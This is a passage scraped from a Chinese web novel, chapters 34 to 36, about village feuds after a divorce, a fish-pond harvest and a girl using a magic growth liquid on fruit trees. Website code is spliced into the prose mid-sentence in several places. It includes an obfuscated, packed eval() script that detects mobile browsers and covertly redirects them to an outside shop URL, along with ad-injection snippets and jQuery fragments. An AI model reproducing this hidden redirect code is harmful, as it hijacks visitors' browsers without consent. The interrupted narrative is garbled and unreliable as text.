心想她哥肯定是知道上去拉架会被打,才叫她去的,别人家当哥哥的都会护着妹妹,她哥别说护着妹妹了,还要把妹妹推出去挨打。 方小荷一边整理着头发和衣服,一边去看梁水生的脸色,见梁水生脸色不好,她赶紧走过去,脸上露出恰到好处的笑容,“水生,你怎么来了。” 要是平时,方小荷露出这样的笑容,不管她做了什么让梁水生不高兴的事,梁水生都会消气的。 但是方小荷刚刚挨了田彩燕一巴掌,半边脸还肿着呢,刚刚打了一架,脸上还沾了土,看上去很是狼狈,梁水生看见她的脸没了平时的怜香惜玉,还觉得很丢脸,他的脸色不怎么好看。 “你不是来叫月华到家里去吃饭的吗?怎么搞成这样?” 方小荷露出楚楚可怜的表情,“这事都怪我,是我说错了话,惹得彩燕姐不高兴了。” 这话说得很有歧义,不知道事情经过的人肯定要误会的。 梁水生皱着眉看向田彩燕,“彩燕,就算小荷说错了话惹你不高兴,你也没必要打她吧,我知道你因为离婚的事心里有怨恨,你心里有什么怨恨直接冲我来就是了,干嘛要为难小荷呢? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13097672|136745||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 田彩燕觉得好笑,“这跟你有什么关系,她嘴贱就该打!” 梁水生有些不相信,“小荷她温柔善良,待人大方和气,这里面是不是有什么误会?” “方小荷当着月华的面说我的坏话,离间我们母女的感情,这里面能有什么误会,你不信可以问问其他人,咱们大队的人可是都听见了的。” 围观群众你一言我一语地把之前方小荷说的话重复了一遍,都觉得方小荷不应该说那样的话。 “当着人家女儿的面这样说,当妈的肯定要生气的。” “就是啊,田彩燕就这一个孩子,疼得跟什么似的,当着人家的面挑拨她们的关系,怪不得她气得要打人。” “梁水生一年没几天在家的,月华估计对他都没什么感情,她不想去梁家吃饭也正常,这怎么能怪到田彩燕头上啊?” “是啊,离婚后月华都是跟着她妈住,肯定跟田彩燕更亲啊,想也知道,这种日子她肯定不会丢下亲妈,去跟后妈一起吃饭的。” 梁水生的脸色更不好看了,他认为方小荷的话说得没错,他不觉得是梁月华不想和他吃饭,只会觉得是田彩燕在女儿面前说了什么,导致女儿对他疏远了,虽然他并不重视这个女儿,但是女儿的疏远让他很不高兴,这让他觉得他身为父亲的权威受损了。 “那你也不能打小荷啊,你看你把小荷打成什么样了。” 田彩燕看了一眼方小荷,露出讽刺的笑,“我本来只想打她一巴掌这事就算了,要不是她非要拉着我不放,也不会变成这个样,这可不怪我。” 梁水生当然知道田彩燕的战斗力了,离婚的时候他不仅被田家的兄弟揍了一顿,还被田彩燕也揍了一顿,现在想起来,还觉得被打的地方隐隐作痛呢。 他瞪了一眼方小荷,怪她自不量力,非要和田彩燕打架,害得他跟着丢脸。 方小荷觉得委屈,她都被打成这样了,水生不安慰她就算了,怎么还瞪她。 田彩燕看见他们的脸就觉得烦,不想再跟梁家的人多说什么,以后也不想再和梁家的人有过多的牵扯,只是她现在住在江河大队,和梁家人低头不见抬头见,怎么也不可能完全避开他们。 她看着眼前的几个人开口道:“以后你们梁家人没事别来我面前晃悠,也别想着打月华的主意,不然,我不可不会像这次一样就这么算了的!” 警告完之后,也不管梁家人什么反应,田彩燕转身进去,“嘭”地一声,关上了大门。 方小荷想冲过去拍门,凭什么她说算了就算了,她还没说话呢。 梁水生拉住她,黑着脸,“你还嫌不够丢人吗?” “我被她打成这样,难道就这么算了?” “那你想怎么样?是你能打得过她,还是我能打得过她?” 方小荷有些失望,梁水生这个时候不是应该护着她,给她出气吗?这怎么跟她想的一点都不一样啊。 34. 第 34 章 方小荷跟着梁水生回到梁家,看到门口的刘翠花,没理她,直接钻进房间去了,她现在一身狼狈,得好好清理一下。 刘翠花本来想好好教训一下方小荷的,结果方小荷根本就没理她,她一脸不快,转头对梁水生道:“水生啊,你看你娶的这个媳妇,才第一次来我们家,就害得我们家在大队丢脸,她在城里还不知道要得罪多少人,我看还是让她留在家里带孩子吧,省的她得罪人连累了你。” 梁水生有些不耐烦,他妈说来说去就是想让小荷把工作让出来给老三,“妈,小荷她人挺好的,这次是误会。” 他怕刘翠花又提起要方小荷把工作让给老三,说完直接回房了。 刘翠花更不高兴了,这个老二真是白疼他了,有了媳妇忘了娘,一个劲地护着方小荷,还听方小荷的枕边风,这两个月给家里的钱都少了,说什么养儿子费钱,养一个孩子能花多少钱。 她必须得想办法让方小荷把工作给老三。 江余正准备要做晚饭,就听到有人在大门外叫她,是田彩燕的声音,她去开门,“田婶子,你找我?” 她看了一下田彩燕的脸色,并没有什么不高兴的,看来之前的事对她没有什么影响。 “江余,你做晚饭没有?” “没呢,我正准备做。” 田彩燕笑着说:“那正好,你别做了,晚上在我家吃吧。” 现在家家户户的粮食都不充裕,就算是亲戚也很少去别人家里吃饭的。 江余连忙拒绝:“婶子,不用了,我做饭很快的,我在自己家吃就好了。” 田彩燕:“今天过节,家里就我和月华两个人,怪冷清的,多一个人热闹一些,我饭都做好了,就等你了。” 最后江余推辞不过,还是答应了,她从家里拿了一斤大米给田彩燕,江余一顿饭当然吃不了一斤大米,她猜测田家今晚的伙食应该挺好的,这一斤大米算是她交的伙食费。 田彩燕不想收的,江余说她要是不收,自己不好意思去她家吃饭,田彩燕只好收下了。 田家今晚的伙食很好,还有肉。 饭桌上,田彩燕担心江余不好意思,一边给女儿夹菜,一边给江余夹菜。 吃完饭后,江余想帮着田彩燕洗碗,被田彩燕打发了,“你去和月华玩吧。” 梁月华一个人坐在天井的台阶上,不知道是在看月亮还是在发呆。 江余走过去坐在梁月华旁边,跟她一起抬头看月亮,今晚的月亮又大又圆,没有云层的遮掩,皎洁明亮的月光洒落在地面,在地面投射出清晰的影子。 江余感叹一句,“今晚的月亮好漂亮啊!” 梁月华点点头,“是很漂亮,江余姐,你说月亮上面真的有神仙吗?” 江余不知道月亮上面有没有神仙,她给梁月华说了一些关于月亮的神话故事。 “江余姐,你怎么知道那么多神仙的故事啊?” 江余卡了一下,“我也是听别人说的。” 梁月华不知道想到了什么,叹了一口气,过了一会儿,她说:“以前我爸爸也会给堂哥他们讲故事。” 说到这个话题,江余不知道该怎么接话了,她不擅长做知心姐姐。 正好田彩燕洗完碗出来了,江余站起来,跟田彩燕告辞。 从田家出来,江余不知道怎么的,想到了小时候的自己,那些可不是什么让人开心的回忆,她赶紧甩甩头,把脑子里的东西甩掉,还是赶紧回去洗澡睡觉吧。 下工后,江余带着昨天抽奖抽到的果树生长液上山了。 她先来到之前发现的桃树底下,桃树底下有一些幼小的桃树苗,这些都是熟过头的桃子掉到地上,果核被枯枝腐叶掩埋后发芽长出来的。 江余选了一棵桃树幼苗,把它挖到另一个树木稀疏的地方种下。给树苗浇了水后,江余拿出果树生长液,小心地给树苗的根部滴了一滴。 她观察了一会儿,发现树苗并没有明显的变化。 在树苗的旁边做了记号后,江余继续往山里走去。 来到被江余砍了树之后,只剩下一个树桩的香桂树旁边,拿出果树生长液在树桩的根部滴了几滴。 要是这个果树生长液对香桂树也起作用的话,那她就能每年都有一笔收入了。 接下来她又往里面走了一段路,找到那棵龙眼树,在树底下也挖了一棵幼苗,找了一个树木稀疏,能晒得到阳光的地方种下,浇水后滴了一滴果树生长液。 这些都做完后,江余就准备下山了,等过段时间再来看它们的生长状况。 走到山脚,江余转了一个方向,来到山脚的那几棵荔枝树下,这几棵荔枝树每年都会结果,只是果子还没完全成熟,就被大队的孩子摘完了。 这个地方大队的孩子经常来,树底下被踩得连草都不长,荔枝树苗更难生长。 江余在附近找了找,终于找到了一棵荔枝树的幼苗,她用锄头的树苗连带着泥土一起挖出来,这棵树苗她打算种在天井里。 她家的天井挺大的,种一棵果树没什么问题。 过了中秋,大队打算起鱼塘,江河大队有一个鱼塘,每年过了中秋都会起鱼塘,那里面的鱼大部分都要卖给供销社,小部分可以分给大队的社员,这年头要吃肉可不容易,大家都盼着起鱼塘。 到了起鱼塘的这一天,大家都围在鱼塘的旁边,现在正在给鱼塘排水,社员把鱼塘边挖开了一个口子,用渔网在开口处拦着,要是有鱼跟着水流流出来就会被渔网接住。 跟着水流流出来的鱼不是很多,也装了满满两桶。 水排得差不多了,社员就可以拿着竹篓下去捞鱼,这活可不轻松,下去的都是男人和力气大的妇女,其他人都在岸边看着,江余也只能在岸上看着。 江余的旁边就是大队长和大队支书,起鱼塘明明是一件高兴的事,这两人的脸上都看不出什么高兴的神色,反而有些愁眉苦脸的。 大队长看着岸上的几桶鱼,叹了一口气,“前两天隔壁大队也起了鱼塘,我听说今年给的 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 价格要比去年低。” 大队支书惊讶:“怎么又要降价?去年给的价格就比前年低,今年还要降,这也太过分了,” “这有什么办法,人家说要降,难道我们还能说不行吗?” 大队支书也叹了一口气,“是不行,咱们大队就靠着这个鱼塘能有点收入了。还是丰收大队好啊,人家不仅有鱼塘,还种荔枝供给罐头厂,人家罐头厂可大方了,这么多年都没压过价,人家还不挑,只要是树上摘下来的果子都要。” “咱们大队也可以种荔枝卖给罐头厂啊。” 大队长和大队支书转头看到蹲着旁边的江余,大队支书摇摇头,只当这是小孩子的异想天开,要种荔枝哪有那么容易。 江余见二人都没说话,她又说:“二叔公,咱们大队也能种荔枝卖给罐头厂,那样就有钱了。” 大队长:“这荔枝不是我们说种就能种的,得上面说种才能种,你还小,不懂。” “二叔公不可以自己去找领导说要种荔枝吗?” 江正峰还真没想过这事,他一直都是上面怎么说他就怎么做,主动去找领导的事他还真没做过。 他眼热丰收大队的荔枝很久了,只是现在粮食都不够吃的,领导哪会想到要种果树啊。 他要是主动去找领导说江河大队要种果树,估计领导能把他赶出办公室,这事行不通。 “现在粮食都不够吃的,领导不会同意让我们种果树的。” 江余疑惑,“种果树和粮食有什么关系?” 大队长耐心解释,“种果树就要占用田地,会影响粮食收成。” 江余:“那把果树种在山上,不就不影响粮食的收成了吗?” 丰收大队的荔枝树都是种在平地上的,占了不少田地,不过因为他们大队的那片荔枝林是早就有了,而且一直供货给县城的罐头厂,就没有让他们把果树砍了,把地用来种粮食。 把荔枝树种在山上也不是不行,可是山上都是树,要种荔枝树,就要把山上的树给砍了,还要打申请,是件麻烦事。 江正峰不知不觉已经想到要砍树种荔枝了,这事他想有什么用,最重要的是领导同不同意。 听到卡车的引擎声,江正峰回过神来,他抬头一看,是供销社的卡车来了,他顾不上什么荔枝树了,赶紧过去。 和隔壁大队一样,供销社今年给的收购价格比去年要低一些,小一点的鱼他们还要压价,说是小鱼,其实也有巴掌大。 “这些鱼太小了,刺又多,不好卖,当然不能和大的鱼一个价格了,要不是看你们也不容易,我们是不肯收的。” 要压价就明说,还找那么多借口,以前怎么没见他们说什么鱼太小了不要。 大队长也不是没脾气的人,他让社员把那些被挑出来的几桶鱼提走,“这些小鱼不好,留着给我们的社员分了吧。” 来收购鱼的人被噎住了,他们只是想压价,没想到对方直接把鱼给拿走了,少了这么多鱼,这回去要怎么交代啊。 35. 第 35 章 多留下几桶鱼,社员们都挺高兴的,他们能分到的鱼多了一些。 至于大队的收入少了的事,他们也不是不在意,只是大队发分红已经是几年前的事了,今年不知道能不能发,他们还是抓住眼前的好处要紧。 见江河大队的人都巴不得把鱼留下的样子,供销社的人有些慌了,他们之中站出来一个人,他从口袋里摸出烟盒来,给大队长发了一支烟,说起了双方的交情来。 “江大队长,咱们都打了好几年的交道了,大家也是熟人了,你也知道,我这都是按照规定办事,不是我有意要刁难,你应该能理解吧。” 大队长没有接那支烟,“当然了,我知道你是按照规定办事,所以才不忍心你为难啊。” 供销社的人见大队长装傻,只能说:“不为难,今年你们大队符合我们要求的大鱼达不到领导要采购的数量,还要一些小鱼来充数。这样吧,我做主了,那些小鱼也按照大鱼的价格收购,回去领导要是骂我,我也认了。” 供销社收购鱼一直都是大鱼小鱼统一一个价格的,从来没有分开算的,这次估计是他们想中间商赚差价,才搞出这样的事。 大队长心里明白却也没多说什么,见好就收,顺着对方给的台阶下来,“大家都是熟人了,你们有困难我也不能不帮忙。” 这江河大队的大队长还真是狡猾,一句话就变成了给他们帮忙了,他们还不能反驳,要是把人惹恼了,江正峰去供销社和其他人对账,岂不是麻烦了,他们只能被迫欠下这个人情。 大队长让社员们把之前提走的那几桶鱼提回来,社员们还在高兴今年要多分一些鱼了,听到大队长的话,心中的喜悦破灭了,很是失望。 等供销社的人开着卡车走了,就轮到社员们分鱼了。 大队长让社员们去把事先留出来的鱼提过来,现场分鱼,一桶桶鱼摆在那里,大鱼小鱼都有,更多的是大鱼。 今年鱼塘收获的鱼要比去年多,无论是大队长还是社员们,都很有默契地没有对供销社的人提起这件事。 因为要是他们今年供应给供销社的鱼多了,供销社会默认明年他们大队也要供应这么多鱼,要是他们大队明年拿不出这么多的鱼怎么办? 为了避免这些麻烦,大家都没有说今年鱼塘收获的鱼要比去年多的事,当然了,社员们不说更多的还是想要分到多一点的鱼。 大家都拿着盆排起队来,分鱼也是按照工分来分的,大队的会计拿着记录工分的本子,坐在搬来的桌子前,有人领了鱼他就在本子上记录一笔。 江余今年的工分不多,分到了两条巴掌大的小鱼,田彩燕家分到了两条大鱼和一条小鱼。 梁家今年少了田彩燕的工分,分到的鱼没有去年多了,他们盯着田彩燕盆里的鱼,恨不得那几条鱼跳到他们家的盆里来。 刘翠花心里有些后悔了,当初就不该同意让梁水生和田彩燕离婚,田彩燕多能干啊!不比方小荷要好多了? 想起方小荷,刘翠花就觉得一肚子气,她想尽了办法都没能让老二松口答应让方小荷把工作让出来,现在老二被方小荷挑唆得和她不亲近了,一心向着媳妇。 刘翠花扬起笑脸走过去,“彩燕,还是你能干,水生现在的那个媳妇跟你可没法比,她在家是一点活都不干,就等着我来伺候她,我这心里啊,十分后悔没能阻止你和水生离婚的事,不过就算你们离婚了,妈心里还是把你当作儿媳妇的。” 刘翠花跟田彩燕说话,那眼睛时不时就瞄向田彩燕手里的鱼,田彩燕哪里不知道她打的什么主意。 “刘婶子,你别这样说,我现在已经不是你们梁家的媳妇了,你这些话说出来容易让人误会,我也不想听。上次我跟梁水生说过,让你们家的人没事不要在我面前晃悠,不然我就不客气了,难道他回去没跟你说吗?” 田彩燕居高临下地看着刘翠花,刘翠花看着田彩燕的脸色,心里一阵发虚,担心田彩燕一言不合就要动手打人。 中秋节那天田彩燕把方小荷揍得鼻青脸肿的事还没过去多久呢,梁家人都知道田彩燕不好惹,刘翠花虽然很眼红她盆里的鱼,也没敢再多说什么。 田彩燕看到端着盆江余,就叫她一起走,两个人端着盆一起走回家,田彩燕看了一眼江余盆里的鱼,问她:“你会不会杀鱼?要是不会的话,就拿到我家来,我一起处理了。” 江余当然会杀鱼,就算她不会,她也有原主杀鱼的记忆,“不用麻烦婶子了,我自己能处理。” 田彩燕点点头,“也是,前几年大队分的鱼也都是你自己处理的。” 到了江余家门口,两个人分开,江余端着装鱼的盆来到压水井前开始处理鱼。 她很久还没有吃过新鲜的鱼了,好不容易吃到一次鱼,打算来个原汁原味的吃法,拿出其中一条鱼,把鱼肉和鱼骨分开,鱼骨砍成块,鱼肉小心剔除了鱼刺后,片成薄片。 在锅里加入水和切好的葱姜,等水煮开的功夫,江余简单调了一个蘸料,碗里倒入之前在供销社买的酱油,葱花、蒜末和姜丝,再倒入一点花生油,就算完成了。 锅里水开后,江余先把鱼头和鱼骨这些不容易熟的放进去煮。 用筷子夹起盘里片好的鱼片,鱼片片得很薄,晶莹剔透的,放进煮开的锅里烫个几秒钟,烫熟了就可以夹出来了。 放到碗里沾上蘸料,送进嘴里,葱姜蒜很好地掩盖了鱼片的腥味,又没有影响鱼肉本身的味道,鱼片鲜嫩爽滑,味道恰到好处。 江余品尝着熟悉的味道,眼睛亮晶晶的透露出满足来,手里不停地开始烫下一片鱼片。 很快江余就把盘里的鱼片都吃完了,锅里的鱼头鱼骨和鱼尾也都吃得干干净净,虽然还有些意犹未尽,她也没打算动剩下的那个一条鱼,那条鱼就留着下次吃吧。 江余还在自留地摘了一些青菜洗干净放在一边,鱼片烫完了,就开始烫青菜,烫好的青菜沾上蘸料也很好吃。 江余摸着吃饱了的肚子一脸满足。 洗完碗后,江余照例走到 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 柴房去看鸡都回到笼子里没有,数了数笼子里是六只鸡没错,她关上笼子的门。 从柴房出来,就看见她种在天井里的荔枝树苗,这棵小树苗长得还挺快的,才半个月长到半个人那么高了,看来那个果树生长液真的挺有用的。 看了一眼荔枝树苗的根部,江余觉得它长这么快,还有那六只鸡的功劳,它们每天都给荔枝树苗施肥的。 江余洗完澡晾完衣服的时候,天已经完全黑了下来,她打着手电筒回到房间里,现在她还不困,和往常一样坐在床上拿起书来开始睡前阅读。 今天她看书的时候有些分心了,一边看书一边想着白天的事。 她今天听到大队支书说丰收大队种荔枝卖给罐头厂,很是羡慕的样子,她就随口提议江河大队也种荔枝,这是她听到大队支书的话后随口说的,其实没有经过什么深思熟虑。 现在想起来,她觉得这件事很可行,江河大队要是也种了荔枝,年底就有分红了,她就可以明目张胆地改善生活了。 她手里有果树生长液,系统出品的东西应该是没什么问题的,不怕荔枝树不丰收。 只是不知道大队长是怎么想的,她能看出来大队长也希望江河大队能像丰收大队一样,大队能多一些收入,能在年底给社员发分红,只是今天看他的样子,似乎对种荔枝树的事不太乐观。 她也明白大队长的顾虑,荔枝树要生长六七年才能结果,这时间太久了一点,不能马上看到成果。 就算是嫁接的荔枝树,也要三四年才能结果,这个年代不知道有没有荔枝树嫁接的技术,苹果、橘子这些果树的嫁接技术倒是有了。 要是有嫁接荔枝树的技术,就算技术不成熟,她用果树生长液也能让荔枝树第二年挂果,第三年丰收。 要是现在没有嫁接技术,她用果树生长液让原本六七年才能结果的荔枝树,第二年就结果,那就太奇怪了,要是传出去,有关部门不得派专家来好好研究一下,这个第二年就结果的荔枝树是什么新品种吗? 到时候估计大队的荔枝树都要被人给挖走,拿去研究了,大队还怎么卖荔枝致富啊? 江余想着她下次去县城的时候,去书店看看有没有关于果树嫁接技术的书吧,要是有的话,可以买回来研究一下。 第二天下工,江余打算上山看看被她滴了果树生长液的两棵树苗和树桩,这半个月隔几天就下雨,雨水充沛,不用江余特意上山去给它们浇水,她都没去看过,不知道它们长得怎么样了。 桃树和龙眼树都和江余预料的一样,长得很快,已经有半人高了。 让她惊喜的是,那棵香桂树的树桩长出了新芽,现在可不是适合树木发芽的季节啊。 那瓶生长液明明叫做果树生长液,却对香桂树有作用,香桂树也结果子吗? 香桂树当然也是结果子的,只是江余砍树的时候香桂树还没到结果的时候,要是晚一两个月,她就能看到香桂树的果子了,香桂树的果子也是一味药材,可以入药。 36. 第 36 章 中秋节过后就是国庆节,又是可以抽到好东西的日子。 这次抽奖的特殊奖励是一把“削铁如泥的匕首”,江余没有真的用它来削铁,用来削木头什么的还是很锋利的。 这次的特殊奖励让江余有些失望,她还以为又是什么高科技产品呢,不过想想,应该不是每一次都能有那么好的运气的,像储物空间那样的奖励,应该也只有一次吧。 匕首也挺好的,随身带着,万一遇到了什么危险,她可以用来防身。 国庆节大礼包里除了二十斤大米和五斤猪肉,还有五斤糖果、五斤饼干和一篮子葡萄,糖果的种类有大白兔奶糖,水果硬糖和巧克力。 这次给的猪肉挺多的,大概是因为十月中旬就要秋收了,怕她没力气干活,所以让她多吃点肉,系统还是挺贴心的。 好久没有吃水果了,上次吃水果还是发现山上那棵龙眼树的时候。 江余从篮子里拿了一串葡萄拿去洗干净,她尝了一颗,酸甜可口,好好吃,她忍不住又多吃了几颗,想着要是每天都有水果吃就好了。 不经意瞄到天井里的那棵荔枝树,她想,这个愿望也不是不能实现啊,她有果树生长液,种什么水果都行,把各个季节成熟的水果都种上不就每天都有水果吃了吗? 就是她家院子里种不了那么多果树,她也没有那么多的果树幼苗,不过种葡萄还是可以的。 江余把葡萄籽收集起来,把它们种在天井的一个角落,这里也是母鸡们活动的地方,方便自动施肥。 给葡萄籽浇了水后,照例滴了一滴果树生长液,就等着葡萄幼苗长出来了,等葡萄苗长出来后,她再给它们搭一个葡萄架子。 十月份,天气没有那么热,开始慢慢变凉了,江余还没有买好布料做新棉被和新棉衣呢,下半月要忙秋收,是没有时间去做别的事了,趁现在有时间,得先去买布做棉被和棉衣。 江余又去找大队长请假,大队长很快就同意了,他还随口说了一句,“你最近这几个月经常请假啊。” 差不多是一个月请一次假的频率,也不算是经常,但是和之前比起来,她最近几个月请假的次数是有点多。 江余还在想自己应该找个什么理由蒙混过去,好在大队长只是随口一说,也没打算问江余为什么经常请假。 到了供销社,江余直奔卖布的柜台去,现在供销社没什么人,坐在柜台里的售货员正在织毛衣,听到有人过来,她停下手中织毛衣的动作抬起头,见是一个年纪不大的孩子,她又低下头继续织毛衣去了。 江余来到柜台前,露出甜甜的笑容,“姐姐,现在有没有不要票的布啊?” 江余的五官长得是很不错的,这几个月又吃的好了一些,脸上长了肉,虽然经常下地干活让她没有那么白,也可以说是清秀可爱了,特意露出甜甜的笑,看起来就更可爱了。 售货员的年纪不大,看起来也才二十来岁,看到这样可爱的小姑娘,她也有了一些耐心,她摇摇头,回答江余,“不要票的布没有,要票的布有,你要买布吗?” 江余把手伸进背着的斜挎包里,从空间里抓了一把水果硬糖,悄悄递给坐在柜台后的售货员,“姐姐,真的没有不要票的布了吗?贵一点也可以的。” 售货员看看江余期待目光,又看看她递过来的糖果,她看了一眼周围,没有什么人注意到这里的动静,她接过糖果,压低声音对江余说:“昨天是来了一批不要票的布,还没有贴出公告售卖,不过那批布料很贵的,叫做灯芯绒,要九毛五分钱一尺,你要不要?” 江余当然要了,不要票的布料很难得哎,她知道灯芯绒是什么样的,这个价格的布料用来做被子就太奢侈了,可以用来做冬天的衣服。 她立即点头:“我要!” 售货员叫旁边的同事帮她看着柜台,就带着江余往后面的仓库走去。 眼前堆放着一匹匹的布料,应该都是昨天新到的货,其中灯芯绒的布料最显眼,质感跟其他的布料完全不一样,颜色也挺丰富的,有格子的,花纹的,深色浅色都有。 江余当然也喜欢颜色鲜亮,有花样图案的布料,想了想,她还是选了不起眼的灰蓝色,她现在不适合用太显眼的布料。 “我能多买一点吗?” 售货员点头,“可以啊,你要多少?” 这样不要票的布料挺难得的,再加上她实在是没什么衣服穿,唯一一件冬天的衣服就是一件破旧的棉衣,江余就想多买一些,“我要买一匹。” 一匹就是四十尺,可以做三套衣服,外加一件上衣或者一条裤子。她打算给自己做两套衣服,换着穿,剩下的布料可以留着以后做衣服,反正布料又不会放坏。 售货员很惊讶,灯芯绒一尺差不多要一块钱,四十尺就是将近四十块钱,那可是她一个多月的工资了,这个孩子年纪不大,能拿得出那么多钱吗? “你要买一匹布?一匹可是四十尺,这个布可不便宜,要将近四十块钱呢!” “姐姐你没听错,我要买一匹布,我带够了钱的。可以吗?” 售货员有点犹豫,这数量有点多啊,她是不是应该请示一下主任? 江余又从挎包里抓了一把糖塞给售货员,这次给的是大白兔奶糖。 “可以是可以,不过你可不能把这件事告诉别人啊,这些布还没正式售卖呢,被人知道了可就不好了。” 这批布料是还没售卖,但是他们这些供销社的职工有职工福利,可以提前购买,不过每个人可以买的数量是有限的。 要是其他布料,他们肯定会把自己可以买的限额用完,自己不买也可以帮亲戚买,当作是人情往来了,只是灯芯绒布料太贵了,没多少人买,赵晓娟把供销社来了新布料的消息告诉了亲戚,因为价格太贵,大家都没有兴趣。 赵晓娟手里的限额都没用到,所以 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 她才给江余透露供销社来了新布料的消息。 灯芯绒布料比较难得,供销社职工每个人的限额是二十尺,赵晓娟自己的限额不够用,她还可以用关系比较好的同事的限额,反正这批布料这么贵,也没多少人买,大家手里的限额都没怎么用。 赵晓娟给江余拿了一匹灯芯绒的布料,江余又指着另一边的常见的黑灰色布料,“这个布也给我裁三十尺吧。” “这个布可是要票的,你不是已经买了一匹灯芯绒了吗?怎么还要买?” 江余:“我本来是想来买做被子的布料的,用灯芯绒做被子不合适。” 赵晓娟表示理解,这么贵的布料用来做被子就太浪费了。外面柜台里刚好有裁好的三十尺黑灰色布料,她直接拿给江余就行了,不用再拿剪刀剪裁。 两人出来在柜台前给钱开票,江余看到赵晓娟织了一半的毛衣,那毛衣是红色的,颜色可鲜艳了,一眼就能看到,她问:“姐姐,现在供销社有毛线卖吗?” 赵晓娟顺着她的目光看过去,转头回答她,“有啊,不过这种颜色的没有了,其他的颜色也没有了,只剩下灰色的,你要买吗?” “给我来三斤吧。” 织一件毛衣两斤毛线就够了,江余这个体型,用的毛线更少,她故意买多一些,剩下的毛线还可以织一条围巾和一对毛线手套。 江余挺怕冷的,毛衣围巾手套这些冬天的装备她都想安排上,要是织完这些,还有剩的毛线,她还可以给自己织一顶帽子。 江余是会织毛线的,初中的时候,班级里流行过一段时间织毛线,江余会好几种织毛线的针法呢。 一斤毛线要一块两毛钱,三斤就是三块六毛钱,一匹灯芯绒布料要三十八块,三十尺的普通布料要九块钱加上三十尺的布票。 江余来这一趟供销社花了五十块六毛钱,和三十尺的布票,差不多把她手里的布票都花光了,这也是没办法的事,做被子就是费布料。 江余今天把之前买的棉花和做衣服剩的瑕疵布带上了,打算买完布后就直接拿去做棉被。 县城里有专门做棉被的店铺,那也是国营单位。 把棉花和布料交给做棉被的老师傅,再交一块钱的加工费,拿了老师傅开好的单子,等棉被做好后就可以拿着单子来取棉被了。 江余打算去书店看看有没有关于果树嫁接技术的书。 现在的书店里的书的种类还挺丰富的,江余找到放着农业相关书籍的书架,看了一会儿,并没有看到关于果树嫁接技术的书籍,她有些失望。 除了书店,就是图书馆里面有书了,可惜现在的图书馆不是想进就能进的,江余是进不去的,她没有能进入图书馆的许可证。 江余也只是有些失望而已,就算找到了关于果树嫁接技术的书,她也不可能马上学会怎么嫁接果树啊,大队的人也不会信她看了一本书就能学会什么嫁接技术。